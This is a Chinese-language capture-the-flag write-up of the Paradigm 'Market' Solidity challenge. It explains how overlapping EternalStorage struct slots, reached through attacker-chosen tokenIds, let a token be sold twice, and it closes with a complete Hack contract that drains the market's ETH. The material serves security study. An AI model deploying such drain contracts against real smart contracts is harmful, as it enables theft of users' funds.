合约中储存与计算分离的思路有什么风险呢?
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993
终于看到了熟悉的汇编代码部分:happy:, 前一段时间一直在研究uniswap, compound之类的大型合约,业务逻辑都快给我绕晕了。今天看到Paradigm 的Market这道题,惊奇的发现它不需要与Uniswap或者Compound交互,顿时感动不已。:cry::cry::cry::cry:
首先看下setup合约, 要解决该合约的要求是:让Market合约所有的ETH都消失。当部署好market合约后,market中的ETH数量为:
5+10+15+20=50 ether, 并且他调用了mintCollectibleFor
函数
constructor() payable {
require(msg.value == 50 ether);
// deploy our contracts
eternalStorage = EternalStorageAPI(address(new EternalStorage(address(this))));
token = new CryptoCollectibles();
eternalStorage.transferOwnership(address(token));
token.setEternalStorage(eternalStorage);
market = new CryptoCollectiblesMarket(token, 1 ether, 1000);
token.setMinter(address(market), true);
// mint 4 founders tokens
uint tokenCost = 5 ether;
for (uint i = 0; i < 4; i++) {
market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i)))));
tokenCost += 5 ether;
}
}
function isSolved() external view returns (bool) {
return address(market).balance == 0;
}
下面我们简单看下CryptoCollectiblesMarket合约,分析下他的各个函数在干什么
函数名称 | 资金出入 | 要求 | 状态变化 |
---|---|---|---|
buyCollectible(bytes32 tokenId) | ETH in,NFT out | tokenPrices[tokenId] > 0tokenOwner == address(this)msg.value == tokenPrices[tokenId] | |
sellCollectible(bytes32 tokenId) | NFT in, ETH out | tokenPrices[tokenId] > 0msg.sender == tokenOwnerapproved == address(this) | |
mintCollectible() | |||
mintCollectibleFor(address who) | ETH in, NFT out | mintPrice >= minMintPrice | tokenPrices[tokenId] = mintPrice;feeCollected += sentValue - mintPrice; |
withdrawFee() | ETH out | msg.sender == owner | feeCollected = 0; |
从上面可以看到,一个正常的调用逻辑如下:
mintCollectibleFor(someone) //给某人铸币,得到该币的tokenId,该币发送给某人
buyCollectible(tokenId)//通过ETH购买该币
sellCollectible(tokenId)//卖出该币得到ETH
并且发现我们买币或者卖币,在market合约中并没有状态变化,所以我们需要进一步调查,记录状态的部分在哪里。
我们可以看到CryptoCollectibles合约并不是一个ERC20合约,其并没有一个类似于map(address=>uint) balance
和 map(address=> map(address=>uint)) allowance
的用于记录状态的全局变量,其合约内部只进行逻辑处理,状态记录都通过EternalStorage合约记录。实现了储存与计算的分离,便于后一步升级。:laughing:
例如典型的transfer函数:他在验证完tokenId的所属后,就在eternalStorage合约里更新状态。所有的状态都储存在eternalStorage合约中。
function transfer(bytes32 tokenId, address to) external {
require(msg.sender == eternalStorage.getOwner(tokenId), "transfer/not-owner");
eternalStorage.updateOwner(tokenId, to);
eternalStorage.updateApproval(tokenId, address(0x00));
}
从上面的分析,我们可以看到CryptoCollectibles合约只进行了验证和逻辑判断,具体的状态存储都在EternalStorage合约中。故我们首先需要分析下EternalStorage合约中储存的数据结构。
struct TokenInfo {
bytes32 displayName; //0 => bytes32 占据一个slot
address owner; //1 => address 占据一个slot
address approved; //2
address metadata; //3
}
mapping(bytes32 => TokenInfo) tokens;
可以看到它储存的数据结构是一个map,键是bytes32 tokenId, 值是一个结构体。则对于tokens[0].owner在全局变量中的位置是:
keccak256(abi.encode(0,0))+1 => tokens[0].owner
keccak256(abi.encode(1,0))+2 => tokens[1].approved
因为对于map或者动态数组类型,其大小并不可以预知,故其在EVM中的储存逻辑是通过keccak256哈希计算来找到值的位置,或者是数组的起始位置。对于map,其哈希计算方式是keccak256(abi.encode(key, slot)) slot是该map在EVM中的槽位。对于动态数组,其哈希计算方式是keccak256(slot), 对应该键位点的值是该动态数组的大小(size),动态数组的值将会依次在该键位后自增0x20排列。即keccak256(slot) => arr.length; keccak256(slot)+1 => arr[0]; keccak256(slot)+2 => arr[1];
对于结构体,其结构体内部所有的变量都会紧密打包,即abi.encodePacked. 即bytes16 和 bytes16的两个元素会被打包到同一个slot中,然后按照slot的顺序依次排列结构体的元素。
下面我们分析下EternalStorage合约的具体实现
方法 | 要求 | 状态 |
---|---|---|
mint(bytes32,bytes32,address) | msg.sender==owner | sstore(tokenId, name)sstore(tokenId+1,tokenOwner) |
updateName(bytes32,bytes32) | msg.sender==ownerormsg.sender==tokenOwner | sstore(tokenId, name) |
updateOwner(bytes32,address) | msg.sender==ownerormsg.sender==tokenOwner | ssotre(tokenId+1, newOwner) |
updateApproval(bytes32,address) | msg.sender==ownerormsg.sender==tokenOwner | sstore(tokenId+2, newApproval) |
updateMetadata(bytes32,address) | msg.sender==ownerormsg.sender==tokenOwner | sstore(tokenId+3, newMetaData) |
getName(bytes32) | sload(tokenId) | |
getOwner(bytes32) | sload(tokenId+1) | |
getApproval(bytes32) | sload(tokenId+2) | |
getMetadata(bytes32) | sload(tokenId+3) | |
transferOwnership(address) | msg.sender==owner | sstore(0x01, newOwner) |
acceptOwnership() | msg.sender==ssload(0x01) | sstore(0x00, pendingOwner)sstore(0x01,0x00) |
从上表中,我们可以看到凡是get系列的函数都不需要msg.sender==owner或者msg.sender==tokenOwner要求,但是都没有向EVM中写数据的操作。我们需要向EVM写数据,就需要满足msg.sender==owner 或者 msg.sender==tokenOwner的要求。
针对msg.sender==tokenOwner的要求,即要求ssload(tokenId+1)==msg.sender, 如果我们能够操纵tokenId的数值,让两个tokenId的结构体存在部分重叠,即让tokenId_1的slot_1刚好位于tokenId_0的slot_3位置处,即:
tokenId_0.name
tokenId_0.owner
tokenId_0.approval - tokenId_1.name
tokenId_0.metadata - tokenId_1.owner
- tokenId_1.approval
- tokenId_1.metadata
这样我们就可以通过tokenId_2.metadata来设置tokenId_1.owner
问题的关键就在于如何操纵tokenId的值。
function mint(address tokenOwner) external returns (bytes32) {
require(minters[msg.sender], "mint/not-minter");
bytes32 tokenId = keccak256(abi.encodePacked(address(this), tokenIdSalt++));
eternalStorage.mint(tokenId, "My First Collectible", tokenOwner);
return tokenId;
}
从上图看,tokenId的计算是一个哈希值,直接通过mint方式得到的两个tokenId肯定是不会出现我们想要的重叠的。
故我们的逻辑是Mint一个token,sell给market,通过某种方式重新获得该token的所有权,再次sell给market。
这里的一个最大的漏洞,就在于sell一个token的时候,直接给出tokenId,然后用该tokenId作为从存储中取值的key获取整个tokenInfo. 因此我们可以虚构一个tokenId_1, 满足上面的关系。
tokenId_0.name
tokenId_0.owner
tokenId_0.approval - tokenId_1.name
tokenId_0.metadata - tokenId_1.owner
- tokenId_1.approval
- tokenId_1.metadata
故,整个调用逻辑是:
mintCollectibleFor(msg.sender) //给自己铸币,得到该币的tokenId
EternalStorageAPI.updateMetadata(tokenId_0,msg.sender) //修改token_0.metadata, 让它等于msg.sender
token.approve(token_0, address(market));
sellCollectible(tokenId_0)//卖出该token_0, tokenId为token_0
tokenId_1 = tokenId_0 + 2//计算token_1的tokenId为token_0+2
EternalStorageAPI.updateMetadata(tokenId_1,msg.sender) //修改token_1.metadata, 让它等于msg.sender
sellCollectible(tokenId_1)//卖出token_1
tokenId_2 = tokenId_1 + 2//计算token_2的tokenId为token_1+2
上面的思路有一个重大的问题是:sellCollectible(tokenId_1)函数中要求了require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");
也就是说,必须要是token_0才可以sell,自己构造的token_1无法被sell。
故思路需要转换为:通过某种方式,重新将token_0再次sell一遍。
此时,token_0在经历如下操作后的状态变化为:
bytes32 token_0 = mintCollectibleFor(msg.sender) //铸币-token_0sell 前
cryptoCollectibles.approve(token_0, address(market))//approve
eternalStorage.updateMetadata(token_0,address(hacker))//updatemetadata
market.sellCollectible(token_0)//sell
bytes32 token_1 = bytes32(int256(token_0)+2) //token_1
eternalStorage.updateName(token_1, address(hacker)) //updateName
cryptoCollectibles.transferFrom(token_0, address(market), address(hacker))//transferFrom
market.sellCollectible(token_0)//sell again
字段 | token_0sell前 | token_0approval | Update metadata | Token_0 sell后 | Token_1.name | transferfrom |
---|---|---|---|---|---|---|
name | My First Collectible | My First Collectible | My First Collectible | My First Collectible | My First Collectible | My First Collectible |
owner | hacker | hacker | hacker | market | market | hacker |
approval | 0 | market | market | 0 | hacker | hacker |
metadata | 0 | 0 | hacker | hacker | hacker | hacker |
ERC-20 token标准大家很熟悉,但是需要进一步去理解EIP-20中的两种转移token的方式:
transfer:
将_value
数量的代币转移到地址_to
,并且必须触发Transfer
事件。如果信息调用者的账户余额没有足够的代币来花费,该函数应该回退。
注意 0值的转移必须被视为正常的转移,并引发`转移'事件。.
function transfer(address _to, uint256 _value) public returns (bool success)
transferFrom:
从地址_from
向地址_to
转移value
数量的代币,并且必须触发Transfer
事件。
transferFrom
方法用于取款工作流,允许合约代表你转移代币。例如,这可用于允许合约代表你转移代币和/或以子货币收取费用。除非_from
账户故意通过某种机制授权给消息的发送者,否则该函数应该回退。
注意 0值的转移必须被视为正常的转移,并触发 "转移 "事件。
也就是说,transferFrom函数让合约替代你成为转移token的操作员,合约将你名下的token转移给_to地址。在转移前,需要满足如下条件:即token的持有者通过某种方式授权了调用此函数的msg.sender, 可以是人,也可以是合约。
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
approve- 授权
允许_spender
从你的账户中多次取款,最多到_value
的数额。如果这个函数被再次调用,它将用_value
覆盖当前的允许值。
即用户向某个人或者某个合约授权,允许它不限定次数的从我的账户中转账,但累计总额最高为_value,并且不限定该msg.sender向谁转账。即规定了一个第三方人或者合约,最多从我的账户中能够转账出去的token数量,但并不限定它向谁转账。
注意。为了防止像这里描述的和这里讨论的那样的攻击载体,客户应该确保在创建用户界面时,先将津贴设置为0
,然后再为同一花费者设置其他值。虽然合同本身不应该强制执行,以允许向后兼容之前部署的合同。
function approve(address _spender, uint256 _value) public returns (bool success)
这里还有一个问题是,目标是让market合约中的所有ETH都没有,故我们需要仔细构造一下sellprice. 我们结合代码看下sellprice 是如何计算的
function mintCollectibleFor(address who) public payable returns (bytes32) {
uint sentValue = msg.value;
uint mintPrice = sentValue * 10000 / (10000 + mintFeeBps);
require(mintPrice >= minMintPrice, "mintCollectible/bad-value");
bytes32 tokenId = cryptoCollectibles.mint(who);
tokenPrices[tokenId] = mintPrice;
feeCollected += sentValue - mintPrice;
return tokenId;
}
mintFeeBps = 1000
minPrice = 1 ether
可以用一种比较取巧的方法来实现sellPrice,即比较sellPrice和balanceOf(address(market))的差值,然后转该差值量的ETH给market即可
pragma solidity 0.7.0;
import "./Setup.sol";
contract Hack{
Setup public setup;
EternalStorageAPI public eternalStorage;
CryptoCollectibles public token;
CryptoCollectiblesMarket public market;
constructor(address _setup) payable {
setup = Setup(_setup);
eternalStorage = setup.eternalStorage();
token = setup.token();
market = setup.market();
require(msg.value == 90 ether);
bytes32 token_0 = market.mintCollectibleFor{value: 70 ether}(address(this));
//修改token_0.metadata, 让它等于address(this)
eternalStorage.updateMetadata(token_0,address(this));
//approve token
token.approve(token_0, address(market));
market.sellCollectible(token_0);//卖出该token_0, tokenId为token_0
//get token_1
bytes32 token_1 = bytes32(uint256(token_0)+2);
eternalStorage.updateName(token_1, bytes32(uint256(address(this)))); //updateName->approval
token.transferFrom(token_0, address(market), address(this)); // transferFrom
token.approve(token_0, address(market));
//fix price
uint tokenPrice = msg.value * 10000 / (10000 + 1000);
uint missingBalance = tokenPrice - address(market).balance;
market.mintCollectible{value:missingBalance}();//补偿缺少的ETH
market.sellCollectible(token_0);//sellAgain
require(setup.isSolved(),'setup/not solved');
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!